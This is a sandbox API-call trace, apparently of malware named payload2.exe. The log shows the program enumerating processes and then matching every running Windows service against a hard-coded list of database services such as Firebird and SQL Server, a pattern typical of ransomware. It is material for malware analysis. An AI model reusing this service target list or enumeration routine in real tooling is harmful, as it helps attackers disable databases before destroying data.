	[0177.614] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0177.615] lstrlenW (lpString="sihost.exe") returned 10
	[0177.615] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.615] lstrlenW (lpString="svchost.exe") returned 11
	[0177.615] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0177.616] lstrlenW (lpString="taskhostw.exe") returned 13
	[0177.616] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0177.616] lstrlenW (lpString="msoia.exe") returned 9
	[0177.616] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0177.617] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0177.617] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0177.617] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0177.617] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0177.618] lstrlenW (lpString="Memory Compression") returned 18
	[0177.618] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0177.618] lstrlenW (lpString="explorer.exe") returned 12
	[0177.618] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0177.618] lstrlenW (lpString="SearchUI.exe") returned 12
	[0177.619] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0177.619] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0177.619] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0177.619] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0177.619] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0177.620] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0177.620] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0177.620] lstrlenW (lpString="payload2.exe") returned 12
	[0177.620] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0177.621] lstrlenW (lpString="cmd.exe") returned 7
	[0177.621] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.621] lstrlenW (lpString="conhost.exe") returned 11
	[0177.621] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0177.622] lstrlenW (lpString="mode.com") returned 8
	[0177.622] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0177.622] lstrlenW (lpString="consent.exe") returned 11
	[0177.622] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0177.623] CloseHandle (hObject=0x514) returned 1
	[0177.623] Sleep (dwMilliseconds=0x1f4) 
	[0178.473] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668060
	[0178.473] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0178.474] GetLastError () returned 0xea
	[0178.474] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0178.474] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0178.475] CloseServiceHandle (hSCObject=0x668060) returned 1
	[0178.475] lstrlenW (lpString="Appinfo") returned 7
	[0178.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0178.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0178.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0178.476] lstrlenW (lpString="AppXSvc") returned 7
	[0178.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0178.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0178.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0178.476] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0178.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0178.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0178.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0178.476] lstrlenW (lpString="Audiosrv") returned 8
	[0178.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0178.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0178.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0178.476] lstrlenW (lpString="BFE") returned 3
	[0178.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0178.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0178.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0178.476] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0178.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0178.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0178.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0178.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0178.477] lstrlenW (lpString="CDPSvc") returned 6
	[0178.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0178.477] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0178.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0178.477] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0178.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0178.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0178.477] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0178.477] lstrlenW (lpString="CryptSvc") returned 8
	[0178.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0178.477] lstrlenW (lpString="DcomLaunch") returned 10
	[0178.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0178.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0178.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0178.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0178.477] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0178.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0178.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0178.478] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0178.478] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0178.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0178.478] lstrlenW (lpString="Dhcp") returned 4
	[0178.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0178.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0178.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0178.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0178.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0178.478] lstrlenW (lpString="Dnscache") returned 8
	[0178.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0178.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0178.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0178.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0178.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0178.479] lstrlenW (lpString="DPS") returned 3
	[0178.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0178.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0178.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0178.479] lstrlenW (lpString="DsmSvc") returned 6
	[0178.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0178.479] lstrlenW (lpString="DusmSvc") returned 7
	[0178.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0178.479] lstrlenW (lpString="EventLog") returned 8
	[0178.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0178.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0178.479] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0178.479] lstrlenW (lpString="EventSystem") returned 11
	[0178.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0178.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0178.479] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0178.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0178.479] lstrlenW (lpString="FontCache") returned 9
	[0178.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0178.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0178.480] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0178.480] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0178.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0178.480] lstrlenW (lpString="gpsvc") returned 5
	[0178.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0178.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0178.480] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0178.480] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0178.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0178.480] lstrlenW (lpString="iphlpsvc") returned 8
	[0178.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0178.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0178.480] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0178.480] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0178.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0178.480] lstrlenW (lpString="KeyIso") returned 6
	[0178.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0178.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0178.480] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0178.480] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0178.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0178.480] lstrlenW (lpString="LanmanServer") returned 12
	[0178.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0178.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0178.480] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0178.480] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0178.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0178.480] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0178.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0178.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0178.480] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0178.481] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0178.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0178.481] lstrlenW (lpString="lfsvc") returned 5
	[0178.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0178.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0178.481] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0178.481] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0178.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0178.481] lstrlenW (lpString="lmhosts") returned 7
	[0178.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0178.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0178.481] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0178.481] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0178.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0178.481] lstrlenW (lpString="LSM") returned 3
	[0178.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0178.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0178.481] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0178.481] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0178.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0178.481] lstrlenW (lpString="MpsSvc") returned 6
	[0178.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0178.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0178.481] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0178.481] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0178.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0178.481] lstrlenW (lpString="NcbService") returned 10
	[0178.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0178.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0178.481] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0178.481] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0178.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0178.481] lstrlenW (lpString="netprofm") returned 8
	[0178.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0178.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0178.482] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0178.482] lstrlenW (lpString="NgcSvc") returned 6
	[0178.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0178.482] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0178.482] lstrlenW (lpString="NlaSvc") returned 6
	[0178.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0178.482] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0178.482] lstrlenW (lpString="nsi") returned 3
	[0178.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0178.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0178.482] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0178.482] lstrlenW (lpString="PcaSvc") returned 6
	[0178.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0178.482] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0178.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0178.482] lstrlenW (lpString="PlugPlay") returned 8
	[0178.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0178.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0178.483] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0178.483] lstrlenW (lpString="Power") returned 5
	[0178.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0178.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0178.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0178.483] lstrlenW (lpString="ProfSvc") returned 7
	[0178.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0178.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0178.483] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0178.483] lstrlenW (lpString="RpcEptMapper") returned 12
	[0178.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
